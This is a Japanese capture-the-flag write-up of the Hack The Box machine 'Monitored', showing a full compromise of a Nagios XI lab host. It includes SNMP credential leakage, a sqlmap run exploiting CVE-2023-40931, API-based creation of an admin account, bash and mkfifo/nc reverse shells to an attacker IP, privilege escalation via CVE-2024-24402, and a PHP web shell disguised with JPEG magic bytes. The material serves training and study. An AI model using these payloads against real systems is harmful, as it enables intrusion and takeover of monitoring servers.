Ch4n24n のアイコン

Ch4n24n

OSCP・CPTSの学習者がこの箱を学習用途とするのは非推奨

この箱は、シェルの取得から権限昇格まで、すべて Nagios の機能・脆弱性を使っている。 そのため、この箱を解くことは、「汎用的な力を育てる」よりも「Nagios 自体を学ぶ」に近い。 学びは多いかもしれないが、OSCP・CPTSのご区画を目指している人にとっては、まだ解かなくていいレベルの問題に感じました。

概要

  1. UDP 161 の SNMP(community public)から、 svc 資格情報を取得
  2. Nagios アプリに対し、svc の資格情報と CVE-2023-40931 の SQLi で 管理者権限のAPIキーを取得
  3. API キーを使って、管理者 hacker を作成
  4. 監視製品によくある「コマンド実行機能」を使ってユーザシェル(nagios)を取得
  5. nagios 特有の SUDO 権限を利用して、リバースシェルスクリプトを実行することで、root に権限昇格

対象環境

項目値
問題Monitored
難易度Medium
OSLinux
IP10.129.230.96
攻撃者IP10.10.14.10

攻撃フロー

1. 偵察

rustscan で全ポートを確認。開いているのは 22 / 80 / 389 / 5667。80 は https://nagios.monitored.htb へリダイレクト

Ch4n24n@htb[/htb]$ rustscan -a $TARGET --ulimit 5000 -t 10000 -- -sC -sV --source-port 53 -reason -T5 -oA tcp-port-scan
Open 10.129.230.96:22
Open 10.129.230.96:80
Open 10.129.230.96:389
Open 10.129.230.96:5667
PORT     STATE SERVICE    REASON         VERSION
22/tcp   open  ssh        syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp   open  http       syn-ack ttl 63 Apache httpd 2.4.56
|_http-title: Did not follow redirect to https://nagios.monitored.htb
389/tcp  open  ldap       syn-ack ttl 63 OpenLDAP 2.2.X - 2.3.X
5667/tcp open  tcpwrapped syn-ack ttl 63

nagios.monitored.htb を /etc/hosts に足す

Ch4n24n@htb[/htb]$ echo $TARGET 'nagios.monitored.htb monitored.htb' | sudo tee -a /etc/hosts
10.129.230.96 nagios.monitored.htb monitored.htb

Webポートの探索

Nagios がホストされていることがわかった

https://nagios.monitored.htb/

列挙を実行したら、資格情報を入力できそうな場所を複数個見つけた

ただし、Webを含めたTCPポートを確認したが、攻略の起点(資格情報やアプリの脆弱性)を見つけることができなかった

2. SNMP から svc の資格情報

(1) UDPスキャン

UDP の上位 100 ポートも見ると 161/udp(SNMP)が開いていることがわかった

Ch4n24n@htb[/htb]$ sudo nmap -sU --top-ports 100 -v -oA udp-top100 $TARGET
PORT    STATE         SERVICE
68/udp  open|filtered dhcpc
123/udp open          ntp
161/udp open          snmp
162/udp open|filtered snmptrap

(2) SNMP の OID を列挙

nmap の SNMP スクリプトで OID を列挙すると、資格情報を見つけることができる

Ch4n24n@htb[/htb]$ sudo nmap -sU -p 161 --script=*snmp* $TARGET -v
| snmp-brute:
|_  public - Valid credentials
|   620:
|     Name: sh
|     Path: /bin/sh
|     Params: -c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB

→ svc:XjH7VCehowpR1xZB

3. Nagios Core と API の認証

前に見つけた 「資格情報を入力できそうな場所」 に片っ端からログインを試行すると、以下の2つの画面でログインできた

https://nagios.monitored.htb/nagios/

アプリが Nagios Core 4.4.13 であることがわかる

https://nagios.monitored.htb/nagiosxi/api

試しに認証系の API を送信すると、認証トークン(auth_token)が返却されたので、API は有効であることがわかる

Ch4n24n@htb[/htb]$ curl -X POST "http://nagios.monitored.htb/nagiosxi/api/v1/authenticate" -d "username=svc&password=XjH7VCehowpR1xZB"
{"username":"svc","user_id":"2","auth_token":"75fc2253…","valid_min":5,"valid_until":"Fri, 13 Nov 2026 00:46:09 -0500"}

ここで手に入った auth_token を使うと、 https://nagios.monitored.htb/nagiosxi/login.php の認証画面をバイパスできる
バイパスするには、ブラウザのURLバーに以下を入力する。

https://nagios.monitored.htb/nagiosxi/login.php?token=75fc2253…

バイパスが成功すると、以下の画面に遷移し、 左下より、 Nagios XI 5.11.0 がホストされていることがわかる

API の使い方の調べ方

Googleで 「Nagios XI /nagiosxi/api 認証トークン UI ログイン で検索」 と検索すると、AIが使い方を教えてくれる
※ 個人的に、Nagios XI のAPIの説明サイトは使い方がパッと見で理解できなかった。 それなので、Google のAIに解説をお願いした

4. 脆弱性の検索

Google で、 Nagios Core 4.4.13 poc や Nagios XI 5.11.0 poc と検索すると、Nagios XI 5.11.0 に対して以下の脆弱性が見つかる

  • CVE-2023-40931(SQLi)
  • CVE-2023-47400(Custom Includes の RCE)
    47400 は管理者セッションが前提なので、先に 40931 を使う
    ※ 持っている資格情報は、svc のみでこれは管理者アカウントであるか不明

5. CVE-2023-40931 で xi_users をダンプ

G4sp4rCS/CVE-2023-40931-POC を実行する
ただし、これをそのまま実行すると、かなりの時間がかかるため、以下が出力された時点で停止する(Ctrl+C)

Ch4n24n@htb[/htb]$ git clone https://github.com/G4sp4rCS/CVE-2023-40931-POC.git
Ch4n24n@htb[/htb]$ python3 exploit.py -t 'https://nagios.monitored.htb/nagiosxi' -u svc -p XjH7VCehowpR1xZB
[+] Token obtained: 6244df47…
[+] Main page loaded successfully with the token.
[+] Possible SQL injection detected (error message found).
[+] Endpoint response:
{"message":"Failed to acknowledge message.","msg_type":"error"}
 
[*] Running sqlmap to extract the database...
[*] Command: sqlmap -u https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=6244df47… --data=action=acknowledge_banner_message&id=3 --cookie nagiosxi=pf29n1q9r2t8g1snm4ubp3tnn0 -p id --batch --dump --level 4 --risk 3 --threads 10

この PoC が生成する sqlmap コマンドを使って、必要なDB情報のみをダンプする。 その結果、管理者の api_key を取得できる
※ 以下では、DB名・テーブル名の調査を端折って、いきなり目的のテーブルをダンプしている

Ch4n24n@htb[/htb]$ sqlmap -u 'https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=6244df47…' --data='action=acknowledge_banner_message&id=3' --cookie nagiosxi=pf29n1q9r2t8g1snm4ubp3tnn0 -p id --batch --level 4 --risk 3 --threads 10 -D nagiosxi -T xi_users --dump
 
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+----------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| user_id | email               | name                 | api_key                                                          | enabled | password       | username    | created_by | last_login | api_enabled | last_edited | created_time | last_attempt | backend_ticket                                                   | last_edited_by | login_attempts | last_password_change |
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+----------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| 1       | admin@monitored.htb | Nagios Administrator | IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL | 1       | $2a$10$825c1ee… | nagiosadmin | 0          | 1701931372 | 1           | 1701427555  | 0            | 1794492356   | IoAaeXNLvtDkH5PaGqV2XZ3vMZJLMDR0                                 | 5              | 2              | 1701427555           |
| 2       | svc@monitored.htb   | svc                  | 2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK | 0       | $2a$10$12edac8… | svc         | 1          | 1699724476 | 1           | 1699728200  | 1699634403   | 1794492364   | 6oWBPbarHY4vejimmu3K8tpZBNrdHpDgdUEs5P2PFZYpXSuIdrRMYgk66A0cjNjq | 1              | 13             | 1699697433           |
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+----------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+

6. nagiosadmin の API キーで管理者を作る

(1) 新規ユーザを作成

管理者権限の API キーを取得できたので、管理者権限を持つユーザ(hacker)を新規で作成する
Google で、 nagiosxi apikey create user で検索すると、やり方を AI が教えてくれる

このやり方に沿って API を送信し、管理者権限を作成する

Ch4n24n@htb[/htb]$ curl -X POST "http://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" \
  -d 'username=hacker&password=Password123!&name=Test User&email=test@example.com&auth_level=admin&api_access=1'
{
    "success": "User account hacker was added successfully!",
    "user_id": 6
}

→ 管理者 hacker:Password123!

(2) https://nagios.monitored.htb/nagiosxi/login.php でログインを施行

7. ユーザシェルの取得

(1) リバースシェルのスクリプトを登録

Configure > Core Config Manager > Commands に移動し、リバースシェルスクリプト(bash -c 'bash -i >& /dev/tcp/10.10.14.10/8200 0>&1')を登録する

※ 登録の際には、 Apply Configuration を押すことも忘れないように!

(2) スクリプトの呼び出し

同じ画面のサイドバーにある Hosts をクリックし、localhost > Check command で rev_shell を選択 > Run Check Command をクリック
リスニングポートを開いていると、リバースシェルを取得することができる

Ch4n24n@htb[/htb]$ rlwrap nc -nlvvp 8200
Listening on 0.0.0.0 8200
Connection received on 10.129.230.96 37914
bash: cannot set terminal process group (9052): Inappropriate ioctl for device
bash: no job control in this shell
 
nagios@monitored:~$ whoami
nagios

この問題の難しいポイント

この方法は脆弱性ではなく、既存機能。 ただ、以下の2つを理解していないと、このやり方は絶対に思いつかない

  1. Nagios Core はホスト上で check command(プラグイン)を nagios ユーザとして実行する監視製品であること
  2. Nagios XI の管理者は Core Config Manager (CCM) でそのコマンドを自由に定義できること

よくよく考えたら監視製品ならよくある機能だった。 ※私は思いつかなかったが…(2026/11/13 現在)

8. SSH で固定

ed25519 の鍵を作り、公開鍵を authorized_keys に置く

nagios@monitored:~$ mkdir .ssh
nagios@monitored:~$ echo 'ssh-ed25519 AAAA…' > .ssh/authorized_keys

以後は SSH で入る

Ch4n24n@htb[/htb]$ ssh -i id_nagios nagios@$TARGET
nagios@monitored:~$

9. root権限の取得

(1)SUDO権限を確認

Nagios 系のコマンドが軒並み root 権限で実行できることがわかる

nagios@monitored:~$ sudo -l
Matching Defaults entries for nagios on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
 
User nagios may run the following commands on localhost:
    (root) NOPASSWD: /etc/init.d/nagios start
    (root) NOPASSWD: /etc/init.d/nagios stop
    (root) NOPASSWD: /etc/init.d/nagios restart
    (root) NOPASSWD: /etc/init.d/nagios reload
    (root) NOPASSWD: /etc/init.d/nagios status
    (root) NOPASSWD: /etc/init.d/nagios checkconfig
    (root) NOPASSWD: /etc/init.d/npcd start
    (root) NOPASSWD: /etc/init.d/npcd stop
    (root) NOPASSWD: /etc/init.d/npcd restart
    (root) NOPASSWD: /etc/init.d/npcd reload
    (root) NOPASSWD: /etc/init.d/npcd status
    (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
    (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *
    (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php *
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh *
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh *

(2)権限昇格を実施

MAWK0235/CVE-2024-24402 を参考に権限昇格を行う
※ この脆弱性は、「Nagios XI manage_services.sh lpe」 でググれば、Google の AI が教えてくれる。

実際の手順は以下の通り

# ユーザIDを確認
nagios@monitored:~$ id
uid=1001(nagios) gid=1001(nagios) groups=1001(nagios),1002(nagcmd) <- nagios系のファイルは編集できるはず
 
# サービスを停止
nagios@monitored:~$ sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
 
# サービスの実行ファイルを上書きし、リバースシェルスクリプトを実行するだけのサービスにする
nagios@monitored:~$ cat > /usr/local/nagios/bin/npcd << 'EOF'
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.10 8201 >/tmp/f
EOF
 
# 実行権限の付与
nagios@monitored:~$ chmod +x /usr/local/nagios/bin/npcd
 
# サービスの開始
nagios@monitored:~$ sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

リスニングポートを開いていると、リバースシェルを取得することができる

nagios@monitored:~$ rlwrap nc -nlvvp 8201
Listening on 0.0.0.0 8201
Connection received on 10.129.230.96 45862
 
sh: 0: can't access tty; job control turned off
# whoami
root

CVE-2024-24402 は問題がリリースされた後の PoC だが、よくありそうな脆弱性だったので、これで実施した

別解(root ユーザへの経路はラビットホール。たぶん)

CVE-2023-47400 で Web シェル を取得する方法もある (6の後に行う)

管理者ユーザを手に入れたので、もう一つの脆弱性 CVE-2023-47400 を利用する
LucasVanHaaren/CVE-2023-47400 を参考にRCEを実行
※ 上記のリンクにPoCがあるんだが、手でやったほうがわかりやすかったので、手で実行した

(1)Custom Includes へ移動

  1. 管理者ユーザで https://nagios.monitored.htb/nagiosxi/login.php にログイン
  2. Admin -> Custom Includes に移動する

(2) .htaccess を削除

  1. printf '\xff\xd8\xff\xe0' > placeholder.jpg を実行し、 placeholder.jpg をアップロード
  2. ファイル名を .htaccess へ変更
  3. .htaccess を削除

.htaccess は、そのフォルダに保存できるファイルの拡張子を決定することができる。この後の工程で、PHPファイルをアップロードするのだが、このままだとアップロードできない。 また、.htaccess は非表示で直接削除することもできないため、既存のファイルを .htaccess にすることで上書きし、その状態で削除する必要がある。

(3)Webシェルのアップロード

Webシェルのスクリプトを作成する

Ch4n24n@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' > shell.php
Ch4n24n@htb[/htb]$ { printf '\xff\xd8\xff\xe0'; cat shell.php; } > shell.jpg.php

アップロード後に、プレビューを押し、 PHP を開く。 クエリストリングには、任意のコマンドが入力可能

ただし、このやり方だと、LPEする方法が分からなかった。このやり方で手に入るシェルは www-data 、 正規のやり方で手に入るシェルは nagios であることが原因

参考

おわりに

  • Nagios の公式サイトが個人的には見にくく、API が利用できるとわかっても、「それで何ができるのか?」を理解するのに結構時間がかかりました💦
  • 問題自体が Nagios に傾倒しすぎているため、Nagios のスペシャリストではない限り、多くの時間を使うと思います。 そのため、 Nagios の専門家になりたい人でなければやらなくていい問題だと思います

ただ、「監視製品であれば当然だよな〜」と思う機能・脆弱性のみを使った問題とも思えたので、もしかしたら、より上位の人にとっては学びが多いのかもしれないです...

次に読む
© 2026 Ch4n24n